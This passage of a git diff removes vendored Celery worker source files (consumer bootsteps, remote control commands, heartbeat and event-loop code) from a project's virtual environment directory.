VALID_QUEUE_TYPES: - sorted_types = sorted(VALID_QUEUE_TYPES) - raise ValueError( - f"Invalid queue type {queue_type!r}. Must be one of: {', '.join(sorted_types)}" - ) diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/events.py b/backend/venv/Lib/site-packages/celery/worker/consumer/events.py deleted file mode 100644 index 7ff47356..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/events.py +++ /dev/null @@ -1,68 +0,0 @@ -"""Worker Event Dispatcher Bootstep. - -``Events`` -> :class:`celery.events.EventDispatcher`. -""" -from kombu.common import ignore_errors - -from celery import bootsteps - -from .connection import Connection - -__all__ = ('Events',) - - -class Events(bootsteps.StartStopStep): - """Service used for sending monitoring events.""" - - requires = (Connection,) - - def __init__(self, c, - task_events=True, - without_heartbeat=False, - without_gossip=False, - **kwargs): - self.groups = None if task_events else ['worker'] - self.send_events = ( - task_events or - not without_gossip or - not without_heartbeat - ) - self.enabled = self.send_events - c.event_dispatcher = None - super().__init__(c, **kwargs) - - def start(self, c): - # flush events sent while connection was down. - prev = self._close(c) - dis = c.event_dispatcher = c.app.events.Dispatcher( - c.connection_for_write(), - hostname=c.hostname, - enabled=self.send_events, - groups=self.groups, - # we currently only buffer events when the event loop is enabled - # XXX This excludes eventlet/gevent, which should actually buffer. - buffer_group=['task'] if c.hub else None, - on_send_buffered=c.on_send_event_buffered if c.hub else None, - ) - if prev: - dis.extend_buffer(prev) - dis.flush() - - def stop(self, c): - pass - - def _close(self, c): - if c.event_dispatcher: - dispatcher = c.event_dispatcher - # remember changes from remote control commands: - self.groups = dispatcher.groups - - # close custom connection - if dispatcher.connection: - ignore_errors(c, dispatcher.connection.close) - ignore_errors(c, dispatcher.close) - c.event_dispatcher = None - return dispatcher - - def shutdown(self, c): - self._close(c) diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/gossip.py b/backend/venv/Lib/site-packages/celery/worker/consumer/gossip.py deleted file mode 100644 index 509471ca..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/gossip.py +++ /dev/null @@ -1,206 +0,0 @@ -"""Worker <-> Worker communication Bootstep.""" -from collections import defaultdict -from functools import partial -from heapq import heappush -from operator import itemgetter - -from kombu import Consumer -from kombu.asynchronous.semaphore import DummyLock -from kombu.exceptions import ContentDisallowed, DecodeError - -from celery import bootsteps -from celery.utils.log import get_logger -from celery.utils.objects import Bunch - -from .mingle import Mingle - -__all__ = ('Gossip',) - -logger = get_logger(__name__) -debug, info = logger.debug, logger.info - - -class Gossip(bootsteps.ConsumerStep): - """Bootstep consuming events from other workers. - - This keeps the logical clock value up to date. - """ - - label = 'Gossip' - requires = (Mingle,) - _cons_stamp_fields = itemgetter( - 'id', 'clock', 'hostname', 'pid', 'topic', 'action', 'cver', - ) - compatible_transports = {'amqp', 'redis'} - - def __init__(self, c, without_gossip=False, - interval=5.0, heartbeat_interval=2.0, **kwargs): - self.enabled = not without_gossip and self.compatible_transport(c.app) - self.app = c.app - c.gossip = self - self.Receiver = c.app.events.Receiver - self.hostname = c.hostname - self.full_hostname = '.'.join([self.hostname, str(c.pid)]) - self.on = Bunch( - node_join=set(), - node_leave=set(), - node_lost=set(), - ) - - self.timer = c.timer - if self.enabled: - self.state = c.app.events.State( - on_node_join=self.on_node_join, - on_node_leave=self.on_node_leave, - max_tasks_in_memory=1, - ) - if c.hub: - c._mutex = DummyLock() - self.update_state = self.state.event - self.interval = interval - self.heartbeat_interval = heartbeat_interval - self._tref = None - self.consensus_requests = defaultdict(list) - self.consensus_replies = {} - self.event_handlers = { - 'worker.elect': self.on_elect, - 'worker.elect.ack': self.on_elect_ack, - } - self.clock = c.app.clock - - self.election_handlers = { - 'task': self.call_task - } - - super().__init__(c, **kwargs) - - def compatible_transport(self, app): - with app.connection_for_read() as conn: - return conn.transport.driver_type in self.compatible_transports - - def election(self, id, topic, action=None): - self.consensus_replies[id] = [] - self.dispatcher.send( - 'worker-elect', - id=id, topic=topic, action=action, cver=1, - ) - - def call_task(self, task): - try: - self.app.signature(task).apply_async() - except Exception as exc: # pylint: disable=broad-except - logger.exception('Could not call task: %r', exc) - - def on_elect(self, event): - try: - (id_, clock, hostname, pid, - topic, action, _) = self._cons_stamp_fields(event) - except KeyError as exc: - return logger.exception('election request missing field %s', exc) - heappush( - self.consensus_requests[id_], - (clock, f'{hostname}.{pid}', topic, action), - ) - self.dispatcher.send('worker-elect-ack', id=id_) - - def start(self, c): - super().start(c) - self.dispatcher = c.event_dispatcher - - def on_elect_ack(self, event): - id = event['id'] - try: - replies = self.consensus_replies[id] - except KeyError: - return # not for us - alive_workers = set(self.state.alive_workers()) - replies.append(event['hostname']) - - if len(replies) >= len(alive_workers): - _, leader, topic, action = self.clock.sort_heap( - self.consensus_requests[id], - ) - if leader == self.full_hostname: - info('I won the election %r', id) - try: - handler = self.election_handlers[topic] - except KeyError: - logger.exception('Unknown election topic %r', topic) - else: - handler(action) - else: - info('node %s elected for %r', leader, id) - self.consensus_requests.pop(id, None) - self.consensus_replies.pop(id, None) - - def on_node_join(self, worker): - debug('%s joined the party', worker.hostname) - self._call_handlers(self.on.node_join, worker) - - def on_node_leave(self, worker): - debug('%s left', worker.hostname) - self._call_handlers(self.on.node_leave, worker) - - def on_node_lost(self, worker): - info('missed heartbeat from %s', worker.hostname) - self._call_handlers(self.on.node_lost, worker) - - def _call_handlers(self, handlers, *args, **kwargs): - for handler in handlers: - try: - handler(*args, **kwargs) - except Exception as exc: # pylint: disable=broad-except - logger.exception( - 'Ignored error from handler %r: %r', handler, exc) - - def register_timer(self): - if self._tref is not None: - self._tref.cancel() - self._tref = self.timer.call_repeatedly(self.interval, self.periodic) - - def periodic(self): - workers = self.state.workers - dirty = set() - for worker in workers.values(): - if not worker.alive: - dirty.add(worker) - self.on_node_lost(worker) - for worker in dirty: - workers.pop(worker.hostname, None) - - def get_consumers(self, channel): - self.register_timer() - ev = self.Receiver(channel, routing_key='worker.#', - queue_ttl=self.heartbeat_interval) - return [Consumer( - channel, - queues=[ev.queue], - on_message=partial(self.on_message, ev.event_from_message), - accept=ev.accept, - no_ack=True - )] - - def on_message(self, prepare, message): - _type = message.delivery_info['routing_key'] - - # For redis when `fanout_patterns=False` (See Issue #1882) - if _type.split('.', 1)[0] == 'task': - return - try: - handler = self.event_handlers[_type] - except KeyError: - pass - else: - return handler(message.payload) - - # proto2: hostname in header; proto1: in body - hostname = (message.headers.get('hostname') or - message.payload['hostname']) - if hostname != self.hostname: - try: - _, event = prepare(message.payload) - self.update_state(event) - except (DecodeError, ContentDisallowed, TypeError) as exc: - logger.error(exc) - else: - self.clock.forward() diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/heart.py b/backend/venv/Lib/site-packages/celery/worker/consumer/heart.py deleted file mode 100644 index 076f5f9a..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/heart.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Worker Event Heartbeat Bootstep.""" -from celery import bootsteps -from celery.worker import heartbeat - -from .events import Events - -__all__ = ('Heart',) - - -class Heart(bootsteps.StartStopStep): - """Bootstep sending event heartbeats. - - This service sends a ``worker-heartbeat`` message every n seconds. - - Note: - Not to be confused with AMQP protocol level heartbeats. - """ - - requires = (Events,) - - def __init__(self, c, - without_heartbeat=False, heartbeat_interval=None, **kwargs): - self.enabled = not without_heartbeat - self.heartbeat_interval = heartbeat_interval - c.heart = None - super().__init__(c, **kwargs) - - def start(self, c): - c.heart = heartbeat.Heart( - c.timer, c.event_dispatcher, self.heartbeat_interval, - ) - c.heart.start() - - def stop(self, c): - c.heart = c.heart and c.heart.stop() - shutdown = stop diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/mingle.py b/backend/venv/Lib/site-packages/celery/worker/consumer/mingle.py deleted file mode 100644 index d3f626e7..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/mingle.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Worker <-> Worker Sync at startup (Bootstep).""" -from celery import bootsteps -from celery.utils.log import get_logger - -from .events import Events - -__all__ = ('Mingle',) - -logger = get_logger(__name__) -debug, info, exception = logger.debug, logger.info, logger.exception - - -class Mingle(bootsteps.StartStopStep): - """Bootstep syncing state with neighbor workers. - - At startup, or upon consumer restart, this will: - - - Sync logical clocks. - - Sync revoked tasks. - - """ - - label = 'Mingle' - requires = (Events,) - compatible_transports = {'amqp', 'redis', 'gcpubsub'} - - def __init__(self, c, without_mingle=False, **kwargs): - self.enabled = not without_mingle and self.compatible_transport(c.app) - super().__init__( - c, without_mingle=without_mingle, **kwargs) - - def compatible_transport(self, app): - with app.connection_for_read() as conn: - return conn.transport.driver_type in self.compatible_transports - - def start(self, c): - self.sync(c) - - def sync(self, c): - info('mingle: searching for neighbors') - replies = self.send_hello(c) - if replies: - info('mingle: sync with %s nodes', - len([reply for reply, value in replies.items() if value])) - [self.on_node_reply(c, nodename, reply) - for nodename, reply in replies.items() if reply] - info('mingle: sync complete') - else: - info('mingle: all alone') - - def send_hello(self, c): - inspect = c.app.control.inspect(timeout=1.0, connection=c.connection) - our_revoked = c.controller.state.revoked - replies = inspect.hello(c.hostname, our_revoked._data) or {} - replies.pop(c.hostname, None) # delete my own response - return replies - - def on_node_reply(self, c, nodename, reply): - debug('mingle: processing reply from %s', nodename) - try: - self.sync_with_node(c, **reply) - except MemoryError: - raise - except Exception as exc: # pylint: disable=broad-except - exception('mingle: sync with %s failed: %r', nodename, exc) - - def sync_with_node(self, c, clock=None, revoked=None, **kwargs): - self.on_clock_event(c, clock) - self.on_revoked_received(c, revoked) - - def on_clock_event(self, c, clock): - c.app.clock.adjust(clock) if clock else c.app.clock.forward() - - def on_revoked_received(self, c, revoked): - if revoked: - c.controller.state.revoked.update(revoked) diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/tasks.py b/backend/venv/Lib/site-packages/celery/worker/consumer/tasks.py deleted file mode 100644 index 67cbfc12..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/tasks.py +++ /dev/null @@ -1,88 +0,0 @@ -"""Worker Task Consumer Bootstep.""" - -from __future__ import annotations - -from kombu.common import QoS, ignore_errors - -from celery import bootsteps -from celery.utils.log import get_logger -from celery.utils.quorum_queues import detect_quorum_queues - -from .mingle import Mingle - -__all__ = ('Tasks',) - - -logger = get_logger(__name__) -debug = logger.debug - - -class Tasks(bootsteps.StartStopStep): - """Bootstep starting the task message consumer.""" - - requires = (Mingle,) - - def __init__(self, c, **kwargs): - c.task_consumer = c.qos = None - super().__init__(c, **kwargs) - - def start(self, c): - """Start task consumer.""" - c.update_strategies() - - qos_global = self.qos_global(c) - - # set initial prefetch count - c.connection.default_channel.basic_qos( - 0, c.initial_prefetch_count, qos_global, - ) - - c.task_consumer = c.app.amqp.TaskConsumer( - c.connection, on_decode_error=c.on_decode_error, - ) - - def set_prefetch_count(prefetch_count): - return c.task_consumer.qos( - prefetch_count=prefetch_count, - apply_global=qos_global, - ) - c.qos = QoS(set_prefetch_count, c.initial_prefetch_count) - - def stop(self, c): - """Stop task consumer.""" - if c.task_consumer: - debug('Canceling task consumer...') - ignore_errors(c, c.task_consumer.cancel) - - def shutdown(self, c): - """Shutdown task consumer.""" - if c.task_consumer: - self.stop(c) - debug('Closing consumer channel...') - ignore_errors(c, c.task_consumer.close) - c.task_consumer = None - - def info(self, c): - """Return task consumer info.""" - return {'prefetch_count': c.qos.value if c.qos else 'N/A'} - - def qos_global(self, c) -> bool: - """Determine if global QoS should be applied. - - Additional information: - https://www.rabbitmq.com/docs/consumer-prefetch - https://www.rabbitmq.com/docs/quorum-queues#global-qos - """ - # - RabbitMQ 3.3 completely redefines how basic_qos works... - # This will detect if the new qos semantics is in effect, - # and if so make sure the 'apply_global' flag is set on qos updates. - qos_global = not c.connection.qos_semantics_matches_spec - - if c.app.conf.worker_detect_quorum_queues: - using_quorum_queues, qname = detect_quorum_queues(c.app, c.connection.transport.driver_type) - - if using_quorum_queues: - qos_global = False - logger.info("Global QoS is disabled. Prefetch count in now static.") - - return qos_global diff --git a/backend/venv/Lib/site-packages/celery/worker/control.py b/backend/venv/Lib/site-packages/celery/worker/control.py deleted file mode 100644 index 8f9fc4f9..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/control.py +++ /dev/null @@ -1,625 +0,0 @@ -"""Worker remote control command implementations.""" -import io -import tempfile -from collections import UserDict, defaultdict, namedtuple - -from billiard.common import TERM_SIGNAME -from kombu.utils.encoding import safe_repr - -from celery.exceptions import WorkerShutdown -from celery.platforms import EX_OK -from celery.platforms import signals as _signals -from celery.utils.functional import maybe_list -from celery.utils.log import get_logger -from celery.utils.serialization import jsonify, strtobool -from celery.utils.time import rate - -from . import state as worker_state -from .request import Request - -__all__ = ('Panel',) - -DEFAULT_TASK_INFO_ITEMS = ('exchange', 'routing_key', 'rate_limit') -logger = get_logger(__name__) - -controller_info_t = namedtuple('controller_info_t', [ - 'alias', 'type', 'visible', 'default_timeout', - 'help', 'signature', 'args', 'variadic', -]) - - -def ok(value): - return {'ok': value} - - -def nok(value): - return {'error': value} - - -class Panel(UserDict): - """Global registry of remote control commands.""" - - data = {} # global dict. - meta = {} # -"- - - @classmethod - def register(cls, *args, **kwargs): - if args: - return cls._register(**kwargs)(*args) - return cls._register(**kwargs) - - @classmethod - def _register(cls, name=None, alias=None, type='control', - visible=True, default_timeout=1.0, help=None, - signature=None, args=None, variadic=None): - - def _inner(fun): - control_name = name or fun.__name__ - _help = help or (fun.__doc__ or '').strip().split('\n')[0] - cls.data[control_name] = fun - cls.meta[control_name] = controller_info_t( - alias, type, visible, default_timeout, - _help, signature, args, variadic) - if alias: - cls.data[alias] = fun - return fun - return _inner - - -def control_command(**kwargs): - return Panel.register(type='control', **kwargs) - - -def inspect_command(**kwargs): - return Panel.register(type='inspect', **kwargs) - -# -- App - - -@inspect_command() -def report(state): - """Information about Celery installation for bug reports.""" - return ok(state.app.bugreport()) - - -@inspect_command( - alias='dump_conf', # XXX < backwards compatible - signature='[include_defaults=False]', - args=[('with_defaults', strtobool)], -) -def conf(state, with_defaults=False, **kwargs): - """List configuration.""" - return jsonify(state.app.conf.table(with_defaults=with_defaults), - keyfilter=_wanted_config_key, - unknown_type_filter=safe_repr) - - -def _wanted_config_key(key): - return isinstance(key, str) and not key.startswith('__') - - -# -- Task - -@inspect_command( - variadic='ids', - signature='[id1 [id2 [... [idN]]]]', -) -def query_task(state, ids, **kwargs): - """Query for task information by id.""" - return { - req.id: (_state_of_task(req), req.info()) - for req in _find_requests_by_id(maybe_list(ids)) - } - - -def _find_requests_by_id(ids, - get_request=worker_state.requests.__getitem__): - for task_id in ids: - try: - yield get_request(task_id) - except KeyError: - pass - - -def _state_of_task(request, - is_active=worker_state.active_requests.__contains__, - is_reserved=worker_state.reserved_requests.__contains__): - if is_active(request): - return 'active' - elif is_reserved(request): - return 'reserved' - return 'ready' - - -@control_command( - variadic='task_id', - signature='[id1 [id2 [... [idN]]]]', -) -def revoke(state, task_id, terminate=False, signal=None, **kwargs): - """Revoke task by task id (or list of ids). - - Keyword Arguments: - terminate (bool): Also terminate the process if the task is active. - signal (str): Name of signal to use for terminate (e.g., ``KILL``). - """ - # pylint: disable=redefined-outer-name - # XXX Note that this redefines `terminate`: - # Outside of this scope that is a function. - # supports list argument since 3.1 - task_ids, task_id = set(maybe_list(task_id) or []), None - task_ids = _revoke(state, task_ids, terminate, signal, **kwargs) - if isinstance(task_ids, dict) and 'ok' in task_ids: - return task_ids - return ok(f'tasks {task_ids} flagged as revoked') - - -@control_command( - variadic='headers', - signature='[key1=value1 [key2=value2 [... [keyN=valueN]]]]', -) -def revoke_by_stamped_headers(state, headers, terminate=False, signal=None, **kwargs): - """Revoke task by header (or list of headers). - - Keyword Arguments: - headers(dictionary): Dictionary that contains stamping scheme name as keys and stamps as values. - If headers is a list, it will be converted to a dictionary. - terminate (bool): Also terminate the process if the task is active. - signal (str): Name of signal to use for terminate (e.g., ``KILL``). - Sample headers input: - {'mtask_id': [id1, id2, id3]} - """ - # pylint: disable=redefined-outer-name - # XXX Note that this redefines `terminate`: - # Outside of this scope that is a function. - # supports list argument since 3.1 - signum = _signals.signum(signal or TERM_SIGNAME) - - if isinstance(headers, list): - headers = {h.split('=')[0]: h.split('=')[1] for h in headers} - - for header, stamps in headers.items(): - updated_stamps = maybe_list(worker_state.revoked_stamps.get(header) or []) + list(maybe_list(stamps)) - worker_state.revoked_stamps[header] = updated_stamps - - if not terminate: - return ok(f'headers {headers} flagged as revoked, but not terminated') - - active_requests = list(worker_state.active_requests) - - terminated_scheme_to_stamps_mapping = defaultdict(set) - - # Terminate all running tasks of matching headers - # Go through all active requests, and check if one of the - # requests has a stamped header that matches the given headers to revoke - - for req in active_requests: - # Check stamps exist - if hasattr(req, "stamps") and req.stamps: - # if so, check if any stamps match a revoked stamp - for expected_header_key, expected_header_value in headers.items(): - if expected_header_key in req.stamps: - expected_header_value = maybe_list(expected_header_value) - actual_header = maybe_list(req.stamps[expected_header_key]) - matching_stamps_for_request = set(actual_header) & set(expected_header_value) - # Check any possible match regardless if the stamps are a sequence or not - if matching_stamps_for_request: - terminated_scheme_to_stamps_mapping[expected_header_key].update(matching_stamps_for_request) - req.terminate(state.consumer.pool, signal=signum) - - if not terminated_scheme_to_stamps_mapping: - return ok(f'headers {headers} were not terminated') - return ok(f'headers {terminated_scheme_to_stamps_mapping} revoked') - - -def _revoke(state, task_ids, terminate=False, signal=None, **kwargs): - size = len(task_ids) - terminated = set() - - worker_state.revoked.update(task_ids) - if terminate: - signum = _signals.signum(signal or TERM_SIGNAME) - for request in _find_requests_by_id(task_ids): - if request.id not in terminated: - terminated.add(request.id) - logger.info('Terminating %s (%s)', request.id, signum) - request.terminate(state.consumer.pool, signal=signum) - if len(terminated) >= size: - break - - if not terminated: - return ok('terminate: tasks unknown') - return ok('terminate: {}'.format(', '.join(terminated))) - - idstr = ', '.join(task_ids) - logger.info('Tasks flagged as revoked: %s', idstr) - return task_ids - - -@control_command( - variadic='task_id', - args=[('signal', str)], - signature=' [id1 [id2 [... [idN]]]]' -) -def terminate(state, signal, task_id, **kwargs): - """Terminate task by task id (or list of ids).""" - return revoke(state, task_id, terminate=True, signal=signal) - - -@control_command( - args=[('task_name', str), ('rate_limit', str)], - signature=' ', -) -def rate_limit(state, task_name, rate_limit, **kwargs): - """Tell worker(s) to modify the rate limit for a task by type. - - See Also: - :attr:`celery.app.task.Task.rate_limit`. - - Arguments: - task_name (str): Type of task to set rate limit for. - rate_limit (int, str): New rate limit. - """ - # pylint: disable=redefined-outer-name - # XXX Note that this redefines `terminate`: - # Outside of this scope that is a function. - try: - rate(rate_limit) - except ValueError as exc: - return nok(f'Invalid rate limit string: {exc!r}') - - try: - state.app.tasks[task_name].rate_limit = rate_limit - except KeyError: - logger.error('Rate limit attempt for unknown task %s', - task_name, exc_info=True) - return nok('unknown task') - - state.consumer.reset_rate_limits() - - if not rate_limit: - logger.info('Rate limits disabled for tasks of type %s', task_name) - return ok('rate limit disabled successfully') - - logger.info('New rate limit for tasks of type %s: %s.', - task_name, rate_limit) - return ok('new rate limit set successfully') - - -@control_command( - args=[('task_name', str), ('soft', float), ('hard', float)], - signature=' [hard_secs]', -) -def time_limit(state, task_name=None, hard=None, soft=None, **kwargs): - """Tell worker(s) to modify the time limit for task by type. - - Arguments: - task_name (str): Name of task to change. - hard (float): Hard time limit. - soft (float): Soft time limit. - """ - try: - task = state.app.tasks[task_name] - except KeyError: - logger.error('Change time limit attempt for unknown task %s', - task_name, exc_info=True) - return nok('unknown task') - - task.soft_time_limit = soft - task.time_limit = hard - - logger.info('New time limits for tasks of type %s: soft=%s hard=%s', - task_name, soft, hard) - return ok('time limits set successfully') - - -# -- Events - - -@inspect_command() -def clock(state, **kwargs): - """Get current logical clock value.""" - return {'clock': state.app.clock.value} - - -@control_command() -def election(state, id, topic, action=None, **kwargs): - """Hold election. - - Arguments: - id (str): Unique election id. - topic (str): Election topic. - action (str): Action to take for elected actor. - """ - if state.consumer.gossip: - state.consumer.gossip.election(id, topic, action) - - -@control_command() -def enable_events(state): - """Tell worker(s) to send task-related events.""" - dispatcher = state.consumer.event_dispatcher - if dispatcher.groups and 'task' not in dispatcher.groups: - dispatcher.groups.add('task') - logger.info('Events of group {task} enabled by remote.') - return ok('task events enabled') - return ok('task events already enabled') - - -@control_command() -def disable_events(state): - """Tell worker(s) to stop sending task-related events.""" - dispatcher = state.consumer.event_dispatcher - if 'task' in dispatcher.groups: - dispatcher.groups.discard('task') - logger.info('Events of group {task} disabled by remote.') - return ok('task events disabled') - return ok('task events already disabled') - - -@control_command() -def heartbeat(state): - """Tell worker(s) to send event heartbeat immediately.""" - logger.debug('Heartbeat requested by remote.') - dispatcher = state.consumer.event_dispatcher - dispatcher.send('worker-heartbeat', freq=5, **worker_state.SOFTWARE_INFO) - - -# -- Worker - -@inspect_command(visible=False) -def hello(state, from_node, revoked=None, **kwargs): - """Request mingle sync-data.""" - # pylint: disable=redefined-outer-name - # XXX Note that this redefines `revoked`: - # Outside of this scope that is a function. - if from_node != state.hostname: - logger.info('sync with %s', from_node) - if revoked: - worker_state.revoked.update(revoked) - # Do not send expired items to the other worker. - worker_state.revoked.purge() - return { - 'revoked': worker_state.revoked._data, - 'clock': state.app.clock.forward(), - } - - -@inspect_command(default_timeout=0.2) -def ping(state, **kwargs): - """Ping worker(s).""" - return ok('pong') - - -@inspect_command() -def stats(state, **kwargs): - """Request worker statistics/information.""" - return state.consumer.controller.stats() - - -@inspect_command(alias='dump_schedule') -def scheduled(state, **kwargs): - """List of currently scheduled ETA/countdown tasks.""" - return list(_iter_schedule_requests(state.consumer.timer)) - - -def _iter_schedule_requests(timer): - for waiting in timer.schedule.queue: - try: - arg0 = waiting.entry.args[0] - except (IndexError, TypeError): - continue - else: - if isinstance(arg0, Request): - yield { - 'eta': arg0.eta.isoformat() if arg0.eta else None, - 'priority': waiting.priority, - 'request': arg0.info(), - } - - -@inspect_command(alias='dump_reserved') -def reserved(state, **kwargs): - """List of currently reserved tasks, not including scheduled/active.""" - reserved_tasks = ( - state.tset(worker_state.reserved_requests) - - state.tset(worker_state.active_requests) - ) - if not reserved_tasks: - return [] - return [request.info() for request in reserved_tasks] - - -@inspect_command(alias='dump_active') -def active(state, safe=False, **kwargs): - """List of tasks currently being executed.""" - return [request.info(safe=safe) - for request in state.tset(worker_state.active_requests)] - - -@inspect_command(alias='dump_revoked') -def revoked(state, **kwargs): - """List of revoked task-ids.""" - return list(worker_state.revoked) - - -@inspect_command( - alias='dump_tasks', - variadic='taskinfoitems', - signature='[attr1 [attr2 [... [attrN]]]]', -) -def registered(state, taskinfoitems=None, builtins=False, **kwargs): - """List of registered tasks. - - Arguments: - taskinfoitems (Sequence[str]): List of task attributes to include. - Defaults to ``exchange,routing_key,rate_limit``. - builtins (bool): Also include built-in tasks. - """ - reg = state.app.tasks - taskinfoitems = taskinfoitems or DEFAULT_TASK_INFO_ITEMS - - tasks = reg if builtins else ( - task for task in reg if not task.startswith('celery.')) - - def _extract_info(task): - fields = { - field: str(getattr(task, field, None)) for field in taskinfoitems - if getattr(task, field, None) is not None - } - if fields: - info = ['='.join(f) for f in fields.items()] - return '{} [{}]'.format(task.name, ' '.join(info)) - return task.name - - return [_extract_info(reg[task]) for task in sorted(tasks)] - - -# -- Debugging - -@inspect_command( - default_timeout=60.0, - args=[('type', str), ('num', int), ('max_depth', int)], - signature='[object_type=Request] [num=200 [max_depth=10]]', -) -def objgraph(state, num=200, max_depth=10, type='Request'): # pragma: no cover - """Create graph of uncollected objects (memory-leak debugging). - - Arguments: - num (int): Max number of objects to graph. - max_depth (int): Traverse at most n levels deep. - type (str): Name of object to graph. Default is ``"Request"``. - """ - try: - import objgraph as _objgraph - except ImportError: - raise ImportError('Requires the objgraph library') - logger.info('Dumping graph for type %r', type) - with tempfile.NamedTemporaryFile(prefix='cobjg', - suffix='.png', delete=False) as fh: - objects = _objgraph.by_type(type)[:num] - _objgraph.show_backrefs( - objects, - max_depth=max_depth, highlight=lambda v: v in objects, - filename=fh.name, - ) - return {'filename': fh.name} - - -@inspect_command() -def memsample(state, **kwargs): - """Sample current RSS memory usage.""" - from celery.utils.debug import sample_mem - return sample_mem() - - -@inspect_command( - args=[('samples', int)], - signature='[n_samples=10]', -) -def memdump(state, samples=10, **kwargs): # pragma: no cover - """Dump statistics of previous memsample requests.""" - from celery.utils import debug - out = io.StringIO() - debug.memdump(file=out) - return out.getvalue() - -# -- Pool - - -@control_command( - args=[('n', int)], - signature='[N=1]', -) -def pool_grow(state, n=1, **kwargs): - """Grow pool by n processes/threads.""" - if state.consumer.controller.autoscaler: - return nok("pool_grow is not supported with autoscale. Adjust autoscale range instead.") - else: - state.consumer.pool.grow(n) - state.consumer._update_prefetch_count(n) - return ok('pool will grow') - - -@control_command( - args=[('n', int)], - signature='[N=1]', -) -def pool_shrink(state, n=1, **kwargs): - """Shrink pool by n processes/threads.""" - if state.consumer.controller.autoscaler: - return nok("pool_shrink is not supported with autoscale. Adjust autoscale range instead.") - else: - state.consumer.pool.shrink(n) - state.consumer._update_prefetch_count(-n) - return ok('pool will shrink') - - -@control_command() -def pool_restart(state, modules=None, reload=False, reloader=None, **kwargs): - """Restart execution pool.""" - if state.app.conf.worker_pool_restarts: - state.consumer.controller.reload(modules, reload, reloader=reloader) - return ok('reload started') - else: - raise ValueError('Pool restarts not enabled') - - -@control_command( - args=[('max', int), ('min', int)], - signature='[max [min]]', -) -def autoscale(state, max=None, min=None): - """Modify autoscale settings.""" - autoscaler = state.consumer.controller.autoscaler - if autoscaler: - max_, min_ = autoscaler.update(max, min) - return ok(f'autoscale now max={max_} min={min_}') - raise ValueError('Autoscale not enabled') - - -@control_command() -def shutdown(state, msg='Got shutdown from remote', **kwargs): - """Shutdown worker(s).""" - logger.warning(msg) - raise WorkerShutdown(EX_OK) - - -# -- Queues - -@control_command( - args=[ - ('queue', str), - ('exchange', str), - ('exchange_type', str), - ('routing_key', str), - ], - signature=' [exchange [type [routing_key]]]', -) -def add_consumer(state, queue, exchange=None, exchange_type=None, - routing_key=None, **options): - """Tell worker(s) to consume from task queue by name.""" - state.consumer.call_soon( - state.consumer.add_task_queue, - queue, exchange, exchange_type or 'direct', routing_key, **options) - return ok(f'add consumer {queue}') - - -@control_command( - args=[('queue', str)], - signature='', -) -def cancel_consumer(state, queue, **_): - """Tell worker(s) to stop consuming from task queue by name.""" - state.consumer.call_soon( - state.consumer.cancel_task_queue, queue, - ) - return ok(f'no longer consuming from {queue}') - - -@inspect_command() -def active_queues(state): - """List the task queues a worker is currently consuming from.""" - if state.consumer.task_consumer: - return [dict(queue.as_dict(recurse=True)) - for queue in state.consumer.task_consumer.queues] - return [] diff --git a/backend/venv/Lib/site-packages/celery/worker/heartbeat.py b/backend/venv/Lib/site-packages/celery/worker/heartbeat.py deleted file mode 100644 index efdcc3b4..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/heartbeat.py +++ /dev/null @@ -1,61 +0,0 @@ -"""Heartbeat service. - -This is the internal thread responsible for sending heartbeat events -at regular intervals (may not be an actual thread). -""" -from celery.signals import heartbeat_sent -from celery.utils.sysinfo import load_average - -from .state import SOFTWARE_INFO, active_requests, all_total_count - -__all__ = ('Heart',) - - -class Heart: - """Timer sending heartbeats at regular intervals. - - Arguments: - timer (kombu.asynchronous.timer.Timer): Timer to use. - eventer (celery.events.EventDispatcher): Event dispatcher - to use. - interval (float): Time in seconds between sending - heartbeats. Default is 2 seconds. - """ - - def __init__(self, timer, eventer, interval=None): - self.timer = timer - self.eventer = eventer - self.interval = float(interval or 2.0) - self.tref = None - - # Make event dispatcher start/stop us when enabled/disabled. - self.eventer.on_enabled.add(self.start) - self.eventer.on_disabled.add(self.stop) - - # Only send heartbeat_sent signal if it has receivers. - self._send_sent_signal = ( - heartbeat_sent.send if heartbeat_sent.receivers else None) - - def _send(self, event, retry=True): - if self._send_sent_signal is not None: - self._send_sent_signal(sender=self) - return self.eventer.send(event, freq=self.interval, - active=len(active_requests), - processed=all_total_count[0], - loadavg=load_average(), - retry=retry, - **SOFTWARE_INFO) - - def start(self): - if self.eventer.enabled: - self._send('worker-online') - self.tref = self.timer.call_repeatedly( - self.interval, self._send, ('worker-heartbeat',), - ) - - def stop(self): - if self.tref is not None: - self.timer.cancel(self.tref) - self.tref = None - if self.eventer.enabled: - self._send('worker-offline', retry=False) diff --git a/backend/venv/Lib/site-packages/celery/worker/loops.py b/backend/venv/Lib/site-packages/celery/worker/loops.py deleted file mode 100644 index 1f9e589e..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/loops.py +++ /dev/null @@ -1,143 +0,0 @@ -"""The consumers highly-optimized inner loop.""" -import errno -import socket - -from celery import bootsteps -from celery.exceptions import WorkerLostError -from celery.utils.log import get_logger - -from . import state - -__all__ = ('asynloop', 'synloop') - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - -logger = get_logger(__name__) - - -def _quick_drain(connection, timeout=0.1): - try: - connection.drain_events(timeout=timeout) - except Exception as exc: # pylint: disable=broad-except - exc_errno = getattr(exc, 'errno', None) - if exc_errno is not None and exc_errno != errno.EAGAIN: - raise - - -def _enable_amqheartbeats(timer, connection, rate=2.0): - heartbeat_error = [None] - - if not connection: - return heartbeat_error - - heartbeat = connection.get_heartbeat_interval() # negotiated - if not (heartbeat and connection.supports_heartbeats): - return heartbeat_error - - def tick(rate): - try: - connection.heartbeat_check(rate) - except Exception as e: - # heartbeat_error is passed by reference can be updated - # no append here list should be fixed size=1 - heartbeat_error[0] = e - - timer.call_repeatedly(heartbeat / rate, tick, (rate,)) - return heartbeat_error - - -def 